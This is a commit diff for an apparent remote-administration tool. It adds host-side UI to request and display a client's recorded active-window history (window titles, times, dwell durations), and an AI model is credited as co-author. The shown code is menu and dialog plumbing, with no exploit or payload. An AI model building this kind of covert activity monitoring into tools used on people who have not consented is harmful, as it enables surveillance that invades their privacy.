Feature: Add client activity history recording and display
Record the client's active-window history (start time, window title, and dwell duration), newest first, skipping dwellings under 5 seconds and breaking the timing on idle, capped at 500 entries. Add an "Activity History" item inside the host's Client Management submenu that requests the snapshot over the main connection and shows it in a new dialog. The dialog rebuilds its edit control as a Unicode window so UTF-8 titles render correctly instead of degrading to "?" through the MBCS ANSI boundary. The menu item and dialog title go through _TR and are localized in en_US and zh_TW. Co-Authored-By: deepseek-v4-pro
This commit is contained in:
@@ -15,6 +15,7 @@
|
||||
#include "TerminalDlg.h"
|
||||
#include "SystemDlg.h"
|
||||
#include "CClientLog.h"
|
||||
#include "CActivityDialog.h"
|
||||
#include "BuildDlg.h"
|
||||
#include "AudioDlg.h"
|
||||
#include "RegisterDlg.h"
|
||||
@@ -1017,6 +1018,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_ONLINE_VIEW_WND, &CMy2015RemoteDlg::OnOnlineWindowManager)
|
||||
ON_COMMAND(ID_ENABLE_DEV_DEBUG, &CMy2015RemoteDlg::OnEnableDevDebug)
|
||||
ON_COMMAND(ID_ONLINE_CLIENT_LOG, &CMy2015RemoteDlg::OnOnlineClientLog)
|
||||
ON_COMMAND(ID_ONLINE_HISTORY_ACTIVITY, &CMy2015RemoteDlg::OnOnlineHistoryActivity)
|
||||
ON_COMMAND(ID_ONLINE_FORBIDDEN, &CMy2015RemoteDlg::OnOnlineForbidden)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
@@ -4249,6 +4251,12 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
}
|
||||
}
|
||||
|
||||
// 客户管理子菜单:新增“历史活动”
|
||||
CMenu* pClientMenu = FindSubMenuByCommand(SubMenu, ID_ONLINE_ASSIGN_TO);
|
||||
if (pClientMenu) {
|
||||
pClientMenu->InsertMenu(0, MF_BYPOSITION | MF_STRING, ID_ONLINE_HISTORY_ACTIVITY, _TR("历史活动"));
|
||||
}
|
||||
|
||||
// 创建一个新的子菜单
|
||||
CMenu newMenu;
|
||||
if (!newMenu.CreatePopupMenu()) {
|
||||
@@ -5357,6 +5365,16 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
}
|
||||
break;
|
||||
}
|
||||
case TOKEN_REPORT_ACTIVITY: {
|
||||
// 一次性快照:直接打开“历史活动”对话框展示,不占用 hDlg(避免与运行日志对话框冲突)
|
||||
std::string text((char*)(szBuffer + 1), len > 1 ? len - 1 : 0);
|
||||
CActivityDialog* dlg = new CActivityDialog(this, ContextObject->GetServer(), ContextObject);
|
||||
dlg->Create(IDD_DIALOG_CLIENT_LOG, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
if (!text.empty())
|
||||
dlg->AppendLog(text);
|
||||
break;
|
||||
}
|
||||
case TOKEN_CLIENT_MSG: {
|
||||
ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0);
|
||||
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
|
||||
@@ -12015,6 +12033,12 @@ void CMy2015RemoteDlg::OnOnlineClientLog()
|
||||
SendSelectedCommand(&cmd, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineHistoryActivity()
|
||||
{
|
||||
BYTE cmd = COMMAND_QUERY_ACTIVITY;
|
||||
SendSelectedCommand(&cmd, sizeof(BYTE));
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
std::string* pInitLog = reinterpret_cast<std::string*>(wParam);
|
||||
|
||||
Reference in New Issue
Block a user